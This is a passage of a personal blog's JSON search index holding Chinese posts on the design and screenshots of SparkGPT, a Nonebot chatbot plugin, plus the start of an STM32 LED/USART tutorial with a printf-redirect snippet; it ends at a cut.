target=\"_blank\" rel=\"noopener\"\n\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"nonebot框架\"\u003eNonebot框架\u003c/h2\u003e\n\u003cp\u003e由于SparkGPT由Python开发, 在Python中运行, 而Python目前最佳的bot框架为Nonebot框架,所以 目前2.0.0版本深度绑定Nonebot框架进行开发.\u003c/p\u003e\n\u003cp\u003e预计将在下个大版本 将SparkGPT独立实现协议, 再实现不同语言框架的协议对接\u003c/p\u003e\n\u003ch2 id=\"配置管理\"\u003e配置管理\u003c/h2\u003e\n\u003ch3 id=\"webui\"\u003ewebui\u003c/h3\u003e\n\u003cp\u003e实现了\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e来是实现webui管理配置信息, 借助pydantic的\u003ccode\u003eBaseModel\u003c/code\u003e来实现序列化反序列化并持久储存和方便的存取.\u003c/p\u003e\n\u003cp\u003e\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e提供了一个父类给其他插件,直接继承并填写相关注释和属性即可实现持久储存和web编辑, 并且提供了从\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e实时获取配置的方法,而无需重新反序列化.\u003c/p\u003e\n\u003cp\u003eToDo:\u003cbr\u003e\n预计将会实现pydantic -\u0026gt; json schema的转换用于通信, 并重写前端页面\u003c/p\u003e\n\u003ch2 id=\"数据储存\"\u003e数据储存\u003c/h2\u003e\n\u003ch3 id=\"用户会话数据储存\"\u003e用户会话数据储存\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e使用pydantic的\u003ccode\u003eBaseModel\u003c/code\u003e方便 序列化和反序列化\u003c/li\u003e\n\u003cli\u003e使用\u003ccode\u003eNonebot_plugin_bind\u003c/code\u003e的统一id作为用户标志储存, 实现跨平台跨账户的数据共享\u003c/li\u003e\n\u003cli\u003e所有的会话数据以json形式储存在以用户id命名的文件中, 单用户单数据, 保证数据的隔断性\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"预设指令模型数据\"\u003e预设,指令,模型数据\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e继承自\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e提供的父类, 直接实现了持久储存和webui编辑\u003c/li\u003e\n\u003cli\u003e实现了一个装饰器, 方便的给每个子类生成一个从\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e获取数据的方法\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch2 id=\"消息事件处理\"\u003e消息事件处理\u003c/h2\u003e\n\u003ch3 id=\"消息接受\"\u003e消息接受\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_alconna\u003c/code\u003e进行命令形式的消息事件匹配,分发给不同的函数进行处理\u003c/li\u003e\n\u003cli\u003e实现\u003ccode\u003eNonebot_plugin_bind\u003c/code\u003e 进行不同账户(可跨平台)信息的绑定, 将同一人的所有聊天平台的数据统一起来\u003c/li\u003e\n\u003cli\u003e实现了会话的持久储存和一个从信息中获取会话依赖注入, 可以从一条信息中获取用户私有的或公有的会话, 分发给不同模型的Chatbot处理\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"回复生成\"\u003e回复生成\u003c/h3\u003e\n\u003ch4 id=\"模型回复\"\u003e模型回复\u003c/h4\u003e\n\u003col\u003e\n\u003cli\u003e实现\u003ccode\u003eBaseChatBot\u003c/code\u003e父类, 实现使用 异步生成器 实现 流式发送(每次发送消息的两段左右,如果平台支持编辑消息,那么直接加到原来的消息后面,否则发送新的消息) 和 一次性发送(可以自适应长度文转图转链接, 也可以强制设定使用文字或图片回复), 这里其实就是消息发送的步骤.\u003c/li\u003e\n\u003cli\u003e所有的\u003ccode\u003eChatBot\u003c/code\u003e子类只需添加特有的属性(用于储存会话信息)和\u003ccode\u003eBaseChatBot\u003c/code\u003e父类要求的属性, 以及一个异步生成器方法(逆向或使用官方api)和一个刷新会话方法, 即可实现一个新的api的接入\u003c/li\u003e\n\u003cli\u003e涉及的实现的逆向工程的链接\u0026quot; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Bing-Client\" target=\"_blank\" rel=\"noopener\"\n\u003eAsync-Bing-Client\u003c/a\u003e \u0026ldquo;, \u0026quot; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Poe-Client\" target=\"_blank\" rel=\"noopener\"\n\u003eAsync-Poe-Client\u003c/a\u003e \u0026ldquo;, \u0026quot; \u003ca class=\"link\" href=\"https://github.com/canxin121/Async-Claude-Client\" target=\"_blank\" rel=\"noopener\"\n\u003eAsync-Claude-Client\u003c/a\u003e \u0026quot;\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch4 id=\"普通回复\"\u003e普通回复\u003c/h4\u003e\n\u003ch5 id=\"菜单和帮助\"\u003e菜单和帮助\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003e实现了Nonebot_plugin_templates, 提供一些模板和构造方法, 直接构造出菜单的html并用htmlrender渲染截图返回结果.\u003c/li\u003e\n\u003cli\u003e实现了一个Menu类来将 文本菜单 和 Nonebot_plugin_templates生成的菜单同时实现, 并且缓存图片, 减小开销, 提高效率\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch5 id=\"基本查看和管理\"\u003e基本查看和管理\u003c/h5\u003e\n\u003col\u003e\n\u003cli\u003echat的list在\u003ccode\u003e用户会话数据储存类\u003c/code\u003e的基础上加了一个方法, 并借助Nonebot_plugin_templates生成 会话的列表图片并缓存和动态更新, 减少开销, 提升效率\u003c/li\u003e\n\u003cli\u003eprompt和command的图片回复在\u003ccode\u003eNonebot_plugin_web_config\u003c/code\u003e的子类的基础上借助Nonebot_plugin_templates实现图片列表和具体展示\u003c/li\u003e\n\u003cli\u003e其他文本形式的回复直接发送即可\u003c/li\u003e\n\u003c/ol\u003e\n\u003ch3 id=\"消息发送\"\u003e消息发送\u003c/h3\u003e\n\u003col\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_saa\u003c/code\u003e进行跨适配器(跨聊天平台)的发送消息,可以实现图文发送\u003c/li\u003e\n\u003cli\u003e依赖\u003ccode\u003eNonebot_plugin_htmlrender\u003c/code\u003e进行文转图, 实质上就是使用playwright使用我的自制模板进行前端渲染并截图\u003c/li\u003e\n\u003cli\u003e使用 \u003ccode\u003edpaste.org\u003c/code\u003e 的 逆向api 进行文转网络剪切板链接, 方便用户拿去回答和信息\u003c/li\u003e\n\u003c/ol\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/sparkgpt-%E6%80%9D%E8%B7%AF%E5%88%86%E6%9E%90/"},{"title":"SparkGPT 预览","time":"2023-09-10T00:00:00Z","content":"\u003ch2 id=\"项目地址---spark-gpthttpsgithubcomcanxin121spark-gpt\"\u003e项目地址 -\u0026gt; \u003ca class=\"link\" href=\"https://github.com/canxin121/Spark-GPT\" target=\"_blank\" rel=\"noopener\"\n\u003eSpark-GPT\u003c/a\u003e\u003c/h2\u003e\n\u003ch2 id=\"sparkgpt使用示例\"\u003eSparkGPT使用示例\u003c/h2\u003e\n\u003ch2 id=\"webui\"\u003eWebui\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui.png\"\nwidth=\"2560\"\nheight=\"1363\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui_hudfc518bf0e3dff5f58a40d0e9292d707_109343_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/webui_hudfc518bf0e3dff5f58a40d0e9292d707_109343_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\"使用webui配置相关信息 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"187\"\ndata-flex-basis=\"450px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"帮助\"\u003e帮助\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp.png\"\nwidth=\"576\"\nheight=\"543\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp_hu944c3e2c5f8f713cb74e42c3e320bf12_505859_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/shelp_hu944c3e2c5f8f713cb74e42c3e320bf12_505859_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取帮助说明 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"106\"\ndata-flex-basis=\"254px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help.png\"\nwidth=\"1103\"\nheight=\"1104\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help_hu251595a42a1b5b8f82ad76b655cf6edf_1104940_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/help_hu251595a42a1b5b8f82ad76b655cf6edf_1104940_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取某个命令的子命令格式 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"99\"\ndata-flex-basis=\"239px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"模型\"\u003e模型\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list.png\"\nwidth=\"573\"\nheight=\"537\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list_hu23029734091389392b7f3cc6c00ab338_504350_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/model_list_hu23029734091389392b7f3cc6c00ab338_504350_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取所有模型 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"106\"\ndata-flex-basis=\"256px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"会话\"\u003e会话\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list.png\"\nwidth=\"659\"\nheight=\"706\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list_hu0073cb7dda307cc6b080e3dc900b34a8_691617_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_list_hu0073cb7dda307cc6b080e3dc900b34a8_691617_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取所有会话 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"93\"\ndata-flex-basis=\"224px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat.png\"\nwidth=\"655\"\nheight=\"1100\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat_hud4482fb84500528454f3593a7514105d_1059521_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/private_chat_hud4482fb84500528454f3593a7514105d_1059521_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 创建一个新的私有会话并使用 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"59\"\ndata-flex-basis=\"142px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat.png\"\nwidth=\"639\"\nheight=\"767\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat_hub91b792aa6ea24cd0e152fda59917491_555628_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/public_chat_hub91b792aa6ea24cd0e152fda59917491_555628_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 创建一个新的公有会话并使用 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"83\"\ndata-flex-basis=\"199px\"\n\u003e\u003cbr\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del.png\"\nwidth=\"653\"\nheight=\"278\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del_hu470a197b58cd883b82a911a603d25821_243419_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_del_hu470a197b58cd883b82a911a603d25821_243419_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 删除一个会话 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"234\"\ndata-flex-basis=\"563px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit.png\"\nwidth=\"657\"\nheight=\"303\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit_hued1d147889be06e39648a664af08d1ad_225903_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/chat_edit_hued1d147889be06e39648a664af08d1ad_225903_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 编辑一个会话 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"216\"\ndata-flex-basis=\"520px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"预设\"\u003e预设\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list.png\"\nwidth=\"636\"\nheight=\"575\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list_hu2a03ea50776fff542bb050407f9d74b3_517821_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_list_hu2a03ea50776fff542bb050407f9d74b3_517821_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取所有预设缩略信息 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"110\"\ndata-flex-basis=\"265px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show.png\"\nwidth=\"645\"\nheight=\"643\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show_hue285e6203402b430e11d1ef58ecd77df_404262_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_show_hue285e6203402b430e11d1ef58ecd77df_404262_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 查看某个预设 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"100\"\ndata-flex-basis=\"240px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add.png\"\nwidth=\"638\"\nheight=\"294\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add_hu8d9c1abd7b76c69a4f57521c2565bb16_195901_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_add_hu8d9c1abd7b76c69a4f57521c2565bb16_195901_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 添加新的预设 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"217\"\ndata-flex-basis=\"520px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del.png\"\nwidth=\"646\"\nheight=\"304\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del_hu0c533b535e009a9a041576f870965eb8_279579_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/prompt_del_hu0c533b535e009a9a041576f870965eb8_279579_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 删除一个预设 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"212\"\ndata-flex-basis=\"510px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"指令\"\u003e指令\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list.png\"\nwidth=\"658\"\nheight=\"309\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list_hudf42e09201443fce7f9a642b48866969_274942_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_list_hudf42e09201443fce7f9a642b48866969_274942_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 获取所有指令缩略信息 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"212\"\ndata-flex-basis=\"511px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show.png\"\nwidth=\"636\"\nheight=\"541\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show_huaa6fe30c97db4a6fbb3f7b189f90ba8e_310978_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_show_huaa6fe30c97db4a6fbb3f7b189f90ba8e_310978_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 查看某个指令 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"117\"\ndata-flex-basis=\"282px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add.png\"\nwidth=\"654\"\nheight=\"315\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add_hucf6b8b789b7e075a413aee63eed81613_210970_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_add_hucf6b8b789b7e075a413aee63eed81613_210970_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 添加新的指令 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"207\"\ndata-flex-basis=\"498px\"\n\u003e\n\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del.png\"\nwidth=\"649\"\nheight=\"292\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del_hu4ae45de794030bbc9548e0c4cd8cbc9e_260364_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/command_del_hu4ae45de794030bbc9548e0c4cd8cbc9e_260364_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nalt=\" 删除一个指令 \"\nclass=\"gallery-image\"\ndata-flex-grow=\"222\"\ndata-flex-basis=\"533px\"\n\u003e\u003c/p\u003e\n\u003ch2 id=\"群二维码\"\u003e群二维码\u003c/h2\u003e\n\u003cp\u003e\u003cimg src=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode.png\"\nwidth=\"1284\"\nheight=\"2283\"\nsrcset=\"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode_hu51b203c4463a8d8fd4df1bc6f83211bb_239525_480x0_resize_box_3.png 480w, https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/images/qrcode_hu51b203c4463a8d8fd4df1bc6f83211bb_239525_1024x0_resize_box_3.png 1024w\"\nloading=\"lazy\"\nclass=\"gallery-image\"\ndata-flex-grow=\"56\"\ndata-flex-basis=\"134px\"\n\u003e\u003c/p\u003e\u003chr /\u003e","url":"https://canxin121.github.io/p/sparkgpt-%E9%A2%84%E8%A7%88/"},{"title":"归档","time":"2022-03-06T00:00:00Z","content":"\u003chr /\u003e","url":"https://canxin121.github.io/archives/"},{"title":"Led灯控制(Usart)","time":"0001-01-01T00:00:00Z","content":"\u003ch2 id=\"cpp中的重定向printf\"\u003eCPP中的重定向printf\u003c/h2\u003e\n\u003cp\u003ecpp不允许重定义 =\u0026gt; 不按照cpp规则编译即可\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e8\n\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\n\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode class=\"language-cpp\" data-lang=\"cpp\"\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"k\"\u003eextern\u003c/span\u003e \u003cspan class=\"s\"\u003e\u0026#34;C\u0026#34;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"nf\"\u003efputc\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eFILE\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ef\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eHAL_UART_Transmit\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003euint8_t\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFFFF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ereturn\u003c/span\u003e \u003cspan class=\"n\"\u003ech\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/table\u003e\n\u003c/div\u003e\n\u003c/div\u003e\u003ch2 id=\"led控制亮度--led-类\"\u003eLED控制亮度 =\u0026gt; LED 类\u003c/h2\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cdiv class=\"chroma\"\u003e\n\u003ctable class=\"lntable\"\u003e\u003ctr\u003e\u003ctd class=\"lntd\"\u003e\n\u003cpre tabindex=\"0\" class=\"chroma\"\u003e\u003ccode\u003e\u003cspan class=\"lnt\"\u003e 1\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 2\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 3\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 4\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 5\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 6\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 7\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 8\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 9\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 10\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 11\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 12\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 13\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 14\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 15\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 16\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 17\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 18\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 19\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 20\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 21\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 22\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 23\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 24\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 25\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 26\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 27\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 28\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 29\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 30\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 31\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 32\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 33\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 34\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 35\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 36\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 37\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 38\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 39\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 40\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 41\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 42\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 43\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 44\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 45\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 46\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 47\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 48\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 49\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 50\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 51\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 52\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 53\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 54\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 55\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 56\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 57\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 58\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 59\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 60\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 61\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 62\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 63\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 64\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 65\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 66\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 67\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 68\n\u003c/span\u003e\u003cspan class=\"lnt\"\u003e 69\n\u003c/span\u003e\u003cspan 